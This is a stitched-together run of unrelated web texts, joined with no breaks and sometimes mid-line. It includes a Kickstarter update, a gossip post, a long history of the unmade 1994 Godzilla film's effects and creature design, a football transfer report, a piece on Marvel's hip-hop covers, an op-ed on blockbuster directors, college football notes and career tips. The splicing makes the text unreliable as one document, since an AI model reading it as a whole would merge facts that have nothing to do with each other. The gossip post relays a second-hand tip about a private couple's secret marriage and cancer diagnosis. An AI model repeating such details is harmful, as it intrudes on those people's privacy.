Due to the NDA I've signed, I can't say too much about it, but the good news is it all looks to fall in line with what we were expecting as far as development hardware and associated costs. Which means as long as we hit our Kickstarter goal; Wii U will be a release platform next to PC and Linux.
However, if we don't hit the target as stated before, the scope of the game will be much smaller, and Wii U will be impossible. So, if the lack of a console release was the element holding back your pledge, now is the perfect time!Alright guys, so I emailed that anon messaged if you saw that earlier. And she emailed me the picture of the document, and as far as it looks… it’s pretty damn real. I decided not to post the actually picture of it it because I don’t wanna get too personal. But you can take my word for it. It includes correct names, birthdays, etc. So congrats to them and I wish them the best! And here’s the email the she sent along with it:
So here is the original tip we got from a source close to his Northern CA family:
Well he loves her very much they’ve been together for a little less than 2 years and she found out she has cancer in her lymph-nodes or something and so he proposed to her on the spot and they got married in secret like a week later. He apparently really afraid she’s going to die. Its just like in a movie. You can read about her cancer on her website here:
http://steaktooth.com/post/32128623829Creature Concepts, Previz, Set Designs and More Are Created Before Sony Pulls the Plug
Author: Keith Aiken
Special Thanks to: Please See ACKNOWLEDGEMENTS in Part 1
A SCIFI JAPAN EXCLUSIVE
Part 1
FACE TO FACE WITH THE MISSING LINKS
ACKNOWLEDGEMENTS
ORIGINS
DEVELOPING THE STORY
THE SCREENPLAY
DIRECTOR HUNT
THE FIRST FX TEST
Part 2
JAN De BONT
PRE-PRODUCTION BEGINS
CONCEPTUAL DESIGN, ROUND ONE: GOJIRA PRODUCTIONS and STAN WINSTON
STORYBOARDS
Part 3
Part 4: Released May 31
RETRENCHMENT
THE REWRITE
THE DISCONNECT
REACTION
AFTERMATH
GODZILLA (1994) CREDITS
Previsualization of the “Fluid/Bridge” sequence by Sony Pictures Imageworks, depicting Godzilla’s attack on the Golden Gate Bridge.
Video courtesy of Jan De Bont. © 1994 Sony Pictures Imageworks © 1994 Sony Pictures Entertainment/ Toho Co., Ltd.
DIGITAL EFFECTS
“They were looking for an effects facility. It was just a huge job.”
–Digital Domain co-founder James Cameron
“GODZILLA was threatening to gobble up every effects house on the planet.”
–unnamed FX technician
“The studio thinking is ‘What if you could do JURASSIC PARK with a highly recognized “name” monster?’,” said Terry Rossio. “You could have those incredible effects where you actually believe this thing was actually stomping through a city and combine it with the worldwide name recognition of Godzilla. They’re looking at state-of-the-art effects, digital effects, and have that be part of the draw… part of what distinguishes this movie from all the other Godzilla films.”1
“There was a great sequence where Godzilla wipes out the Pacific naval fleet in San Francisco Bay,” recalled Ricardo Delgado. “Looking at the storyboards I was thinking, ‘How are they going to do this?’ because it was the most ambitious effects sequence I had ever seen.”2
To accomplish that goal, GODZILLA would need to push the envelope of visual effects techniques. JURASSIC PARK had clearly raised the bar for FX but the film’s dinosaurs were shown for less than fifteen minutes, with approximately four minutes of that time devoted to CGI. Barely a year later, Jan De Bont and Boyd Shermis intended to have computer-generated versions of Godzilla and the other creatures featured onscreen and in action for much of their film. “This is the first film of this magnitude where the lead character, who spends a good deal of time onscreen, is virtually 100% computer animated,” Robert Fried declared.
De Bont intended to take full advantage of the advances in digital technology, promising that GODZILLA would have, “a lot of things that haven’t been done before, totally new effects, more complex than JURASSIC PARK.”3 Among those advances would be the creation of photo-realistic virtual sets for the monsters to “perform” on. Computer generated environments have become a standard feature in modern effects films, but the technique was not yet in practice at the time GODZILLA was being developed.
“Jan wanted to use all three-dimensional CGI,” Ted Elliott recounted that. “That means you create a full environment and move the creatures through it, as opposed to two-dimensional where you move the monsters across a photographic plate. Jan insisted that he wanted to create the whole environment.”4
After breaking down the visual effects sequences in the screenplay, Boyd Shermis estimated that GODZILLA would need more than 500 computer-generated effects… triple the amount for any film to that date. When asked if there was any apprehension among the crew about being able to match De Bont’s vision with 1994 digital technology, Shermis replied with a simple “Yes.” But he quickly added that, “Most of the technology existed, but it was very cutting edge at that time. We would have needed to do some serious R&D [research and development] for things like the water, fire simulation, etc.”
Concerned over these technical issues, TriStar executives decided to push back the start of production on GODZILLA until early 1995.5
De Bont and Shermis initially approached ILM (Industrial Light and Magic) — the Academy Award-winning visual effects division of Lucasfilm that had created the amazing CG dinosaurs for JURASSIC PARK — to produce the digital effects for GODZILLA. As the top FX studio in the world, ILM was well-equipped to handle all of the myriad of digital effects planned for the film. But they had a packed workload and turned down the offer, citing that GODZILLA would require far more computer graphics than any one company could handle.
Looking elsewhere, Boyd Shermis and other members of the GODZILLA crew were particularly impressed by the visual effects in a new Rolling Stones music video which had debuted that past July. Directed by David Fincher (SE7EN, FIGHT CLUB), the video for “Love is Strong” featured members of the band and several models, digitally enlarged to Godzilla’s size, wandering about New York City. Ricardo Delgado recalled that, “There was a Rolling Stones video where they’re running around New York that Jan and the visual effects crew pointed to and said, ‘That’s what we’re going to do’. I remember that vividly. Everyone from Jan to Joe to the visual effects people saying ‘We’re going to have Godzilla running around just like that. It’s going to look real.”
The visuals for “Love is Strong” had been created by Digital Domain, the digital effects house established in 1993 by James Cameron, Stan Winston and Scott Ross, the former Senior Vice President of LucasArts Entertainment Company. Ross had spent several years working for George Lucas, but had grown frustrated that his boss was focusing on theme parks, video games and real estate after the failures of HOWARD THE DUCK (1986) and WILLOW (1988). “I left because I wanted to make movies,” he acknowledged.6 Stan Winston had his own explanation for launching the new company, stating, “There’s a reason why I now own Digital Domain with Jim Cameron and Scott Ross, the second largest computer effects company next to ILM. I don’t want to become extinct like the dinosaurs in JURASSIC PARK.”7 Though relatively new, the company already had two major film credits with Cameron’s TRUE LIES (1994) and the all-star adaptation of INTERVIEW WITH THE VAMPIRE: THE VAMPIRE CHRONICLES (1994).
“They were looking for an effects facility,” James Cameron said about GODZILLA. “It was just a huge job. They came to Digital Domain; we were bidding against a number of other people. We were awarded the work. It was a huge negotiation: a big deal, a lot of money.”8
In October 1994, Digital Domain was signed as the primary visual effects supplier for GODZILLA. The company was given six months lead time to develop the new software programs needed to create the film’s extensive digital effects. “A lot of the effects haven’t been done before, so we have to design new software for it, and it’s rather complicated,” Jan De Bont said.9
While Digital Domain would tackle the lion’s share of the digital workload, their previous feature film assignments had been 104 digital shots for TRUE LIES and 42 for INTERVIEW WITH THE VAMPIRE, far less than GODZILLA would require. Cameron admitted, “We didn’t want the whole job; we figured out a way to do part of it and supervise the work of two other smaller visual effects companies. There were 500 shots; they were all computer graphics animation.”10
Shermis selected Sony Pictures Imageworks and VIFX to handle a number of shots. Both companies had worked with him and De Bont on SPEED, and Imageworks had been angling for the job even before the director and his team were hired, producing a CGI test using Jeff Farley and John Hood’s Godzilla maquettes. Sony Pictures Imageworks’ Tim McGovern (TOTAL RECALL, LAST ACTION HERO, THE GHOST AND THE DARKNESS) and John Nelson (TERMINATOR 2: JUDGMENT DAY, GLADIATOR, IRON MAN) would supervise their studio’s work on GODZILLA.
Founded by Richard Hollander in 1988, VIFX was — at that time — the lead digital effects company for 20th Century Fox. In addition to SPEED, the studio produced effects for FREDDY’S DEAD: THE FINAL NIGHTMARE (1991), TIMECOP (1994), FROM DUSK TILL DAWN (1996), BROKEN ARROW (1996), VOLCANO (1997), FACE/OFF (1997), ALIEN RESURRECTION (1997), TITANIC (1997), THE X-FILES movie (1998), BLADE (1998), and ARMAGEDDON (1998). In 1999 Fox sold off VIFX to Rhythm & Hues Studios, and the company remains an active supplier of digital effects with credits on the X-MEN films, LORD OF THE RINGS, THE RING (2002), SERENITY (2005), THE CHRONICLES OF NARNIA: THE LION THE WITCH AND THE WARDROBE (2005), SUPERMAN RETURNS (2006), THE INCREDIBLE HULK (2008) and THE WOLFMAN (2010).
“What I remember most about GODZILLA is a series of meetings at Digital Domain,” Richard Hollander told SciFi Japan. “There were three digital effects companies involved, and we had several discussions about how to split up the scenes between them. This was an exciting time, and we were looking forward to taking the next step with digital effects. This was right after JURASSIC PARK, so a realistic living creature could now be done. The tough areas were in creating believable scenes of destruction — crumbling buildings and debris — and water effects. Rendering water digitally was extremely difficult and time-consuming. Water is still hard to do today, but it was even worse back then. In terms of difficulty, the easiest would be creature effects, then destruction, then water. I was hoping to get the water scenes for GODZILLA.”
Hollywood saw digital effects as the wave of the future, and the competing FX studios were fiercely protective of their talent and technology. But the GODZILLA assignment would require rivals Digital Domain, Sony Pictures Imageworks and VIFX to share computer software. A 1994 article in The Hollywood Reporter quoted an unnamed source as saying, “It’s hard to believe this is going to work. First of all, these companies all hate each other!” But Hollander clarified that discussions between the three were, if understandably cautious, generally positive: “There was a lot of talk about scenes where sharing technology might be necessary and how that would be handled.”
Boyd Shermis agreed, saying that everyone involved at Digital Domain, Sony Pictures Imageworks and VIFX were willing to step up, “To set a new standard for action, creature animation, destruction and water simulations.”
For a brief time, adding a fourth digital effects company was also considered. Shermis reported that, “PDI [Pacific Data Images] was in the mix, but was in the midst of being sold to DreamWorks Animation and backed out of working on GODZILLA.”
PDI turned down GODZILLA, in part, to sign as the lead effects provider for director Renny Harlin’s pirate movie, CUTTHOAT ISLAND, at Carolco Pictures. The CUTTHROAT visual effects crew were pleased, with one staff member noting that, “GODZILLA was threatening to gobble up every effects house on the planet.” But, Harlin had a change of heart, scrapping major digital effects sequences in favor of building and filming on full-scale pirate ships. PDI struggled in the wake of losing the CUTTHOAT ISLAND contract, but rebounded after being acquired by DreamWorks Animation. Now known as PDI/DreamWorks, the company has produced several hugely successful computer animated features, including the SHREK, MADAGASCAR, and KUNG FU PANDA franchises.
Even though traditional Toho suitmation would not be used for Godzilla and the other monsters, Jan De Bont still intended for actors to provide much of their performances. “The motions a person can make that you transfer to a creature, it gives the creature a little bit of heart and soul,” he asserted. “You cannot do that just technically. None of it really comes to life. I felt they didn’t do that [in TriStar’s 1998 GODZILLA] and missed some of the magic that Godzilla should have.”
While visiting Toho in Japan, De Bont had met with both original Godzilla suit actor Haruo Nakajima and the 1980s-1990s Godzilla, Kenpachiro Satsuma. “I loved the old guy [Nakajima],” he recalled. “He’s really nice… such a great guy. He showed me all the locations and talked about how little time he could spend in the suit because he was melting from the heat. It was like an oven inside.”
“What I loved about him was that his movements are real. He told me he really studied Godzilla and it took him two movies or so to get it right. He was very proud of his performance.”
De Bont wanted to use motion-capture to bring that type of performance to his Godzilla. “The men in the suit have some very endearing qualities that you kind of lose with CGI. In that regard, when people are using actors to play the monster and then later translate the actor’s feelings to the monster you have a much better chance of doing that. And that’s what we kind of planned as well.”
“We were doing some tests for motion-capture,” he explained. “And we talked to many people about the best way to do that. At the time, it was very effective, actually… like in the silent movie period, actors would have to tell a story with the movement of their arms and facial expressions, and people understood the story. Godzilla can’t talk either — he can scream, he can roar — therefore, the idea that an actor can portray that and then transfer that performance to the creature via motion-capture would be very, very beneficial and effective.”
“There were two companies — I don’t remember their names anymore — who were at the forefront of that, and those people were all very excited about it. Everybody was excited by the possibilities. Of course I had to show them all the movies of Godzilla so they understood what I was talking about. They really got a great sense of Godzilla as a character. It was fun.”
CONCEPTUAL DESIGN, ROUND TWO: WINSTON STUDIO
“Redoing something that’s a classic; there’s a lot riding on that. A lot of people are going to be watching to see what you do, that you don’t change it.”
–Stan Winston Studio Godzilla sculptor Joey Orosco
“We all just wanted to do it ‘right’. Toho had the final right to review the designs, but we were in control of it.”
–GODZILLA (1994) FX supervisor Boyd Shermis
As one of the founders of Digital Domain, Stan Winston was also able to secure the GODZILLA concept design assignment for Stan Winston Studio. His team took over the process of developing the final looks for Godzilla, the Probe Bat and the Gryphon from Jan De Bont’s in-house design crew of Ricardo Delgado and Carlos Huante. Winston Studio was also tasked with sculpting maquettes that would be scanned by Digital Domain to build the digital versions of the monsters, as well as building any puppets, props, suits or mechanical incarnations of the beasts that may be used in conjunction with the computer generated versions. “They were totally excited about working on this movie,” Jan De Bont recalled.
“We all felt that way,” said Joey Orosco, a lead character designer and sculptor who has worked on the JURASSIC PARK series, INTERVIEW WITH THE VAMPIRE, THE SIXTH SENSE (1999), AVATAR (2009), PREDATORS (2010), MEN IN BLACK 3 (2012), MAN OF STEEL (2013) and PACIFIC RIM (2013). “The first time [creature effects supervisor] John Rosengrant talked to me about it I was like, ‘Oh my gosh, this is cool. I’m so excited’. I know that Stan had Digital Domain going, that was really fresh and new. And I remember him getting really excited about getting both gigs on GODZILLA; Stan would be handling the makeup effects and — as part owner of Digital Domain — the CG as well. It would have been great.”
While the studio was known for their large-scale creatures, FX director Boyd Shermis was unconvinced that the technique would work for GODZILLA. “For what it’s worth, Jan and I both wanted to keep Stan Winston Studio’s involvement to a bare minimum,” he insisted. “We both believed in the CGI and neither of us were happy to see ‘puppets’ be used. Godzilla was just too huge as a creature to go with animatronics.”
But Joey Orosco felt Winston’s involvement would almost guarantee the use of animatronics. “I would definitely say ‘yes’ because you’re talking about Stan Winston and we were really rolling at that time from JURASSIC PARK. There’s nothing like bringing something live, right there, that the actors can touch. I had done the sick Triceratops — that was my thing — and there was nothing cooler for the actors, Laura Dern and everybody, than to be right there with the triceratops and interact with it. Stan would have done some live stuff for GODZILLA.”
Jan De Bont agreed, noting that his first meetings with Stan Winston were over the feasibility of doing mechanical creatures. “We were going to do some animatronics,” he said. “For some of the facial things, we were thinking about building just the head to control some of the motions even more smoothly. And we definitely had some of Stan’s artists working on it and they came up with some ideas. The question was the scale of it… they had never worked on such a big scale and that’s always a little bit problematic. The bigger the creature is, the harder it is to make it move in an organic way, as if it has life.”
“It was going to be a combination of quite a few different things. It would have been better than a fully CGI movie because, if you use animatronics and film it right and find the right filming speed [to create a sense of size and mass], it can be very dramatic. It’s hard to do those things because you don’t know what you can do with the animatronics and what motions you can make until you actually have the machine working. So we were never thinking about doing the whole creature. It was always going to be the head, the claws… sections for when we had to get closer in and make it look more real. I don’t recall the exact scale, but it would look real.”
“I know Stan would have done an insert head or an insert foot; maybe an insert arm or even a big mechanical part of a tail swinging,” Orosco added. “Stan definitely would have thrown in some mechanics. Not full scale, but maybe something like one quarter scale… a highly detailed mechanical head that would have been shot with green screen or blue screen.”
The designing and sculpting of Godzilla and the other characters would be handled by the Winston art department under the supervision of John Rosengrant and Shane Patrick Mahan. It was a team effort, with different personnel chipping in as needed. “When a job came into Stan’s, the first thing that would happen is a group of artists would start sketches for designs. This was back in pencil and paper days,” remembered Bruce Spaulding Fuller, a member of the Winston Studio art department.
Fuller described the maquette-making process: “Larger maquettes start by having the artwork blown up to size. Then the mechanical department would weld a steel armature together that would come apart at all the joints for ease of molding later. Then the sculptor or sculptors would work over that. On large maquettes like these it was customary for two or more people to work on the sculpts, especially finishing parts when they were broken off the main sculpt.”
Once the maquettes were approved by Jan De Bont, they would have been scanned by Digital Domain to build the computer generated versions of the monsters. Closeup photos of the sculpts would be taken to match skin textures and colors in the CG models, and texture maps would be done for all surface details. From there Digital Domain would have created supporting understructures of bone and muscle that would guide the movements of the creatures.
Meanwhile, the mechanical department run by Richard Landon and Craig Caton-Largent would develop and construct the large-scale animatronic versions of the monsters. De Bont commented that, “It never got to the animatronics stage but they did do designs for the creatures.”
Details on the GODZILLA design crew were provided by Winston artist David Monzingo. “Here’s what I can remember: Crash [Mark McCreery] did all of the concept designs, Joey Orosco sculpted Godzilla and was assisted by Scott Stoddard, Mark Maitre sculpted the Gryphon and was assisted by Scott Stoddard and maybe Jim Charmatz. Bruce Spaulding Fuller sculpted the bat creature and was assisted by Ken Brilliant and Jackie Gonzalez. There were probably some mold makers and other art department fellows like myself who helped out along the way but weren’t necessarily key to the process…”
The crew’s focus was on creating the monsters, leaving the alien probe and any prop designing for a later date. “I don’t recall any of those other things being designed. We just concentrated on Godzilla, the Gryphon and the Probe Bat. We weren’t designing the other elements in the script so the project was likely not a full green light yet,” said Fuller.
The team sculpting the Godzilla maquette was led by Joey Orosco. “I believe Crash did a finished design before Joey sculpted his maquette, and Joey worked from Crash’s drawings, but I could be wrong,” Monzingo remarked. “I wasn’t involved in the concept meetings with Stan, so I can’t say who came up with the look, whether Crash did or if Stan had much input. I know Joey interpreted Crash’s design, and while it’s close, Joey has a very distinct style of his own.”
Joey Orosco explained that, “Crash was brought on to try and sell the idea and get it into the shop, which worked because his drawings are so amazing. Once we got that, we had a meeting with Stan, John Rosengrant and everybody and we talked about trying to stay traditional and just bring it to life. I remember Stan specifically saying that, ‘Just bring it to life’. And I loved komodo dragons and monitor lizards and certain snakes and thought we could bring that reality to Godzilla. Just update it a little bit, y’know?”
“Redoing something that’s a classic; there’s a lot riding on that. A lot of people are going to be watching to see what you do, that you don’t change it. That’s a challenge. It’s easier to create something new and fresh.”
Brian Gilbert, an executive at Stan Winston Productions, succinctly noted that, “We wanted Godzilla to look like Godzilla, not some stupid lizard.” Boyd Shermis added, “We all just wanted to do it ‘right’. Toho had the final right to review the designs, but we were in control of it.”
Contrary to reports, the new designs were not based off the Godzilla and Gryphon artwork Ricardo Delgado and Carlos Huante had produced before Winston Studio signed on. Asked if he had seen the earlier designs, Crash McCreery replied, “I don’t know if I saw Carlos’ stuff, but I saw Ricardo’s and thought it was really cool. I didn’t see it until after we were done, and it was by chance… it wasn’t presented or sent over [to the studio] or anything like that. We hadn’t seen anything at all when we were working on GODZILLA.”
“It’s funny because Ricardo and I graduated from Art Center around the same time and we’d been watching each other’s work. And I’d seen his Age of Reptiles stuff. I just remember his Godzilla pieces having a very cool energy and dynamic attitude. They were another cool version of what you can do with Godzilla.”
“But the two designs never collided. We never really got any ideas from anyone else; we just went off and did our own thing. Stan really liked to leave his mark — it was his signature — so he would let us go off, do our own thing, and develop it in-house without the influence of anything else that had been done before so that he could really call it his own. He had a lot of pride in our work and his work in that manner. It wasn’t that he was keeping it from us for any reason other than just wanting us to be free to do what it is we love to do.”
McCreery was pleased for the opportunity to present his take on the Godzilla movies he had grown up watching. “I was always a huge fan, and obviously of monster films in general, but I never viewed Godzilla films as ‘monster movies’, for some reason. The very first one with Raymond Burr I thought was very cool and I remember seeing that and going, ‘wow, that was kind of scary’. But I’ve never been afraid of giant monsters… ghost stories always creep me out but never large monsters. I always equated that to dinosaurs, and dinosaurs are just cool.”
“My friend and I used to watch them all the time and just get into all the different names of the monsters. I kind of got the humor in them; there’s a campiness to it that grows on you. And even the films after awhile, especially when [the Son of Godzilla] was introduced, its like, ‘okay, we get it’. We enjoyed it, but it was always in a different category for me growing up. I separate Godzilla even from TARANTULA or THEM or even THE BEAST FROM 20,000 FATHOMS. For me, those were just bitchin’ FX films that were really trying to sell you on the idea of the reality of something like that happening. And Godzilla, to me, was much more mythological and fun. It was in Japan, and the words didn’t match the lips, and you could tell they were guys in suits and you could see the wires. There was something really cool about it, but in a completely different arena than those other large creature movies. And as kid you either love them or you just don’t. And I loved watching them.”
“Those creatures do become characters over time. And they’re revered in Japan as mythological beings that have something to do with their culture. Growing up |
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Top 5 Cities for New College Graduates
Just graduated college and not sure where to go next? Livability used a variety of factors, such as availability of rental properties, number of 25-to-34-year-olds living in the city, unemployment rates, types of available jobs, and use of public transportation to rank the following cities as the top five places for college graduates to make their new home:
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Whether you want to search for jobs in all of the cities above or zero in on one specific area, use this list as a guiding point to help you find the best place to start your new life in the professional workforce.
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RelatedJoe Cole in action for West Ham last season
Joe Cole is undergoing a medical at Aston Villa ahead of a proposed free transfer to the Premier League club, sources have told ESPN.
Cole will leave West Ham when his contract expires at the end of the month after Sam Allardyce decided against offering him fresh terms.
A host of clubs have been linked with a move for the former Chelsea, Liverpool and England midfielder but Aston Villa appear to have won the race to sign the 32-year-old.
Cole recently expressed his desire to extend his career in the Premier League, after being linked with a move to America's Major League Soccer.
"I want to move back into a more central position and I want to go to the club where I have a good connection with the manager," Cole said in a recent interview with talkSPORT.
"My relationship with West Ham is great, but obviously it didn't work towards the end of this season, I didn't play enough. I'm just going to take my time over the summer and find the right fit. At this stage finances are not important for me."
Cole made only six Premier League starts for West Ham last season, as injuries and a dip in form affected his progress.
Villa boss Paul Lambert signed Philippe Senderos on a free transfer last week and is expected to confirm the appointment of current Republic of Ireland assistant manager Roy Keane as his new No. 2 in the coming days.By Joe Lynch for Billboard | In the comics realm, crossovers are as common as a superhero delivering a cheesy riposte while fighting a bad guy. There are crossovers between titles, universes and even different comic book publishers.
This year, however, saw the ultimate collision of awesome when Marvel met hip-hop via a series of comic covers that paid homage to classic rap albums.
Today, Billboard revealed three new covers in that series. Above, cast your wondering gaze upon Contest of Champions recast as GZA’s cover art for his classic Liquid Swords album (one of the finest solo Wu-Tang Clan outings ever). This cover art was done by Denys Cowan (pencils), Bill Sienkiewicz (inks) and Chris Sotomayor (colors), and will be available in October.
Above, see The Mighty Thor rendered as MF Doom & Madlib’s underground masterpiece Madvilliany; below, check out Hercules done in the style of Lil B’s Black Flame mixtape. Theotis Jones created the Lil B art, while Mike Deodato Jr. did the Madvillian homage. Both of those will be on sale in November.
“The outpouring of love from hip-hop fans, global music-centric websites, as well as musical luminaries like Nas, Run the Jewels, Posdnuos, Questlove, DMC, and Pete Rock speaks volumes about the ongoing cross-cultural dialog that prompted these homage covers,” Marvel Comics EIC Axel Alonso tells Billboard. “That dialog will only increase as readers get the full picture of Marvel’s offerings in the coming year, and see what lurks beneath the covers.”Burying the Dinosaurs: Why Blockbuster Directors Need to Change June 16, 2015 |
Everything that could go wrong on a movie shoot was going wrong. There were delays, flubbed shots and the mechanical centerpiece of the film flatly refused to work. Universal Studios no doubt were regretting giving the adaptation of an expensive bestseller to some kid fresh off episodes of “Columbo” and “Night Gallery” and a few TV movies. But then “Jaws” opened, made all the money, and ushered in a cultural watershed of the summer no longer being the dumping ground but the rich soil in which the studios would spend the next 40 years trying to grow increasingly expensive and unwieldy blockbusters. And they don’t come more expensive or unwieldy than “Jurassic World,” which opened this weekend and stomped all comers at the box office. It’s a strangely full circle moment as “Jurassic World” is the third sequel to “Jaws”’ director Steven Spielberg's 1993 dinosaurs run amok “Jurassic Park.” Even “World”’s director Colin Trevorrow has a similar “called up from the farm leagues” story, having helmed a modest Sundance hit, “Safety Not Guaranteed,” that brought him the attention of some of Hollywood’s biggest players. And that's a story that never, ever happens to female or minority directors. Ever.
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Being a fan of blockbusters and of female directors means not getting excited at what should be good news like Michelle MacLaren being in talks to direct a “Star Wars” spin-off. Because you remember how she was also set to direct “Wonder Woman” and, depending on who’s doing the telling, either left or was pushed out over “creative differences” with Warner Brothers. Even her being replaced on “Wonder Woman” with Patty Jenkins isn’t much of a consolation as it smacks less of wanting the best possible person for the job than not wanting to catch hell for firing a female director for “Wonder Woman” and replacing her with a man. And when rumors start that Marvel is considering Ava DuVernay to direct one of their properties, it means grinding your teeth at the surprising sudden burst of interest in her “experience” for the job.
Experience is the miserable Catch-22 that’s been slowly strangling blockbusters with increasingly unfortunate results for the past twenty some years. It’s what the fear and resentment of women and directors of color touching beloved toys cloaks itself in so it can’t get called out. Oh no, the problem isn’t that the director isn’t a white man, not at all, you’re just deeply concerned that they don’t have enough experience for a job. As if every new job doesn’t begin with a learning curve of some kind. As if some of their favorite directors didn’t go through baptisms of fire learning the ropes on their first big break. In a candid interview with The Verge, Trevorrow frankly admits how much of this was new to him: “I had to be a method director. I had to almost play the role of myself 20 years from now, with far more experience and far more knowledge, and I went method the whole damn time.” There is plenty honorable in the tradition of Fake It Till You Make It, but it’s grown tiresome in how that window of grace is sealed shut to any person who doesn’t remind a big name director of a younger, scrappier version of themselves.
Director Lexi Alexander has been giving no quarter in her fight to open up opportunities for female and minority filmmakers. She’s the reason for this article, rightly asking that more be written on why exactly we have no rags to riches template for the trajectory of female and minority directors’ careers. Why is one indie film deemed a good enough reason to get handed the keys to a major franchise if you’re a white man, but a CV of several films or several seasons of some of the most prestige cable TV series leaves you ill-prepared to handle dinosaurs and superheroes? Going back to MacLaren: she’s only in the running for the “Star Wars” job after the first director, Josh Trank, got the boot. Allegedly, Trank was dropped over his “erratic” behavior during filming of the upcoming “Fantastic Four.” In Alex Pappademas’ enlightening and eyebrow-raising Grantland piece about Trank and Trevorrow, he writes how Trank was another quantum leaper to a blockbuster’s control panel having only helmed another indie, “Chronicle,” before getting the “Fantastic Four” reboot. Pappademas writes about Hollywood’s love affair with giving breaks to greenhorn male directors archly: “Sometimes it’s just that easy. You get a phone call one day, which leads to a meeting with Spielberg, and poof - you’re a T. Rex wrangler. Directorially speaking, this is Schwab’s Pharmacy stuff.” Pappademas' use of the Schwab’s legend feels especially sharp; after all, in that bit of Tinsel Town lore, it’s a woman who is discovered sipping a drink at the soda fountain.
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As for what can be done to alleviate the situation, people may balk at the idea of hiring quotas, but it’s time for them. And for the immediate counter argument of “they only got hired to fill quota," well maybe so, but it’s better than the current arrangement of not getting hired at all. And moreover, it brings with it a genuine trickle down effect. If directors of big movies go on to hire people who look like them, what does it mean when the directors look like DuVernay, Alexander, Gina Prince-Bythewood and Justin Lin?
And for the argument that “who cares who’s in the driver’s seat of the latest brainless popcorn muncher,” consider that “blockbuster” doesn’t and shouldn’t equal lowered expectations. “Jaws” has aged considerably better than many films that came out last year. And consider too that more diverse voices behind the camera also trickles down the stories selected for event movies. Imagine a beloved film franchise based on Octavia E. Butler’s “Parable of the Sower” series. Imagine it being the normal state of affairs to read in Variety that studios were in a bidding war for the rights to “Saga.” Imagine that when Sony wanted to make new Spider-Man movies to hold on to the rights, they went with the Miles Morales version of the character. The self-imposed brain drain Hollywood has put on who gets to direct summer tentpole movies is turning them in ever increasingly pale imitations of themselves.
There is no better example of that than “Jurassic World” itself. Like the Indominous Rex that threatens the cast of the fourth entry, the movie plays like lumpy hybrid of the previous three films. It winces, embarrassed at the craven pandering to nineties nostalgia, and the frequent commenting on said craven pandering only underscores how little reason this movie has to exist when it would have been more cost effective to just re-re-release the first one. And it’s hard to believe a female director would let the characterization of Bryce Dallas Howard’s character that four credited screenwriters coughed up, stand. Poor Howard runs the gamut from “brittle” to “screaming” and seems mainly to exist so Chris Pratt (drained of every ounce of charm he showed in “Guardians of the Galaxy”) has someone to constantly be a horse’s ass to. Sneering at her choice of heels in the lab leaves an especially bad taste in the mouth. It’s not that a female director wouldn’t put her in heels, but a female director would know she wears heels because she likes the extra height; she can look her co-workers in the eye. A female director would know she wears sneakers on the trek to work and changes into them there. And a female director would know she keeps the sneakers in her bottom desk drawer so there’d be something to change into when the fleeing-for-your-life portion of the film starts. And yes, it’s “just” shoes, but it’s more than that, it’s paying attention to the details, it’s caring enough to see women as people with worthwhile stories to tell. Because that’s the great irony of effectively barring women and minorities from directing blockbusters. The tools may get fancier and more futuristic, but you’re stuck spinning tales that are hopelessly prehistoric.
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DisqusWallerstedt Fallout. We'll have more on Wallerstedt through the weekend, but for now. We'll get to the links of the day regarding Wallerstedt's resignation.
Brock to Coach Inside Linebackers. One note that I didn't mention yesterday is that Matt Brock, who was the defensive quality control coach, is now coaching inside linebackers. Brock is from Baker University, which is in Kansas, and when he accepted the position at Texas Tech, he was an alum of Baker:
Brock is a former linebacker for the Wildcats. During his time at Baker, he recorded 277 career tackles and seven career interceptions, while leading the conference in total tackles and tackles per game in 2010. A 2009 and 2010 all-conference selection, Brock is also a two-time NAIA Scholar-Athlete and earned several team MVP awards.
Firing Came Early. LAJ's Don Williams writes that this year's coaching spinout came early:
The Red Raiders' spin cycle with defensive coordinators just never ends. Mike Smith becomes Tech's seventh defensive coordinator since the start of the 2007 season. By my reckoning, the departure of only one directly traced to on-field bad performance. Even that one, Lyle Setencich, was certainly distracted at the time by his wife's serious health issues. Head coaching changes swept out Ruffin McNeill and Art Kaufman. The others, see above.
Smith and Kingsbury Responsible for Defense. The LAJ had a few quotes from Mike Smith and Kliff Kingsbury on their weekly radio show last night about the defense. Smith talked about how he's talked to the players and that he's challenging the team:
"I talked to (the players) today," Smith said on the radio show. "I said, ‘We've got nine games left. Right now, people are counting us out. We haven't been playing very good defense, and this is a chance to show everybody that we can.' I just challenged them: ‘For the next nine games, give me everything you've got.'"
Smith also talked about being responsible for the defense:
"There's been great defense here, and there will be great defense," he said on Kingsbury's radio show. "That's my goal. If I have to stay up every night... I'll spend late nights and do whatever it takes to get everybody lined up right and do our job. I'm going to take that pressure and that responsibility."
Slay Makes an Offer to Kingsbury. This is pretty cool, from FoxSports Louis Ojeda, Jr., former Red Raider footballer Dwayne Slay texted head coach Kliff Kingsbury yesterday to offer his services and help teach a bit of intensity to the team. Slay says that the this is as much about the players as coaches:
"They lack leadership and lack any guys with any type of intensity or tenacity," he said. "When I played, I got into my guys' faces. I just wanted to win, and sometimes it takes that kind of attitude. I may have been an All-American, but those other guys helped me out. They helped me to get in position to make plays and they got into the right gaps and did what they were supposed to do.
And here is Slay talking about how he texted Kingsbury:
"I texted Kliff after hearing the news about the defensive coordinator getting fired," he said. "If Kliff and the guys wanted to reach out to me, I'm open to go up there and help out. I know what I could bring to the table with the mentality that I have. If the opportunity presented itself, I'd love to be a part of Texas Tech football. I'd love to do it."
As the article ends on a tone of "why the hell not" and sorta agree, although there is a wheels-off aspect to this as well (hey, nothing else works, so why not). And I have no idea what Slay is doing right now, but they have a defensive quality control coach position available. Anyway, make sure and check out the whole thing.
Miscellaneous. Congrats to IR Bradley Marquez who was named as a candidate for the 2014 Senior Class Award... our friends over at Pistols Firing have notes on Mike Gundy's weekly press conference for Texas Tech... Yabba. Zach Thomas is set to be inducted into the Pampa Harvester's Hall of Fame... former Texas Tech footballer Seth Doege is now the #2 quarterback in Saskatchewan for the Roughriders and he talks about being ready...Presidential Candidates’ Tricks for Job Hunters
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When you watch presidential candidates’ debates, you can get a lot of new experience. Pay attention that these candidates are like being interviewed. So, any job hunter has a great chance to pick up working techniques. All the constituents are like real hiring managers for the most important position – president. So, these interviews are made on the highest level. Job seekers have a possibility to watch a free master class on interviewing, self-branding and networking.
While most job hunters are doing well using Resume Writing Lab and branding themselves, some mistakes are still happening. To avoid them and gain new tips, you should consider the next recommendations from the presidential race.
Understand Your Audience
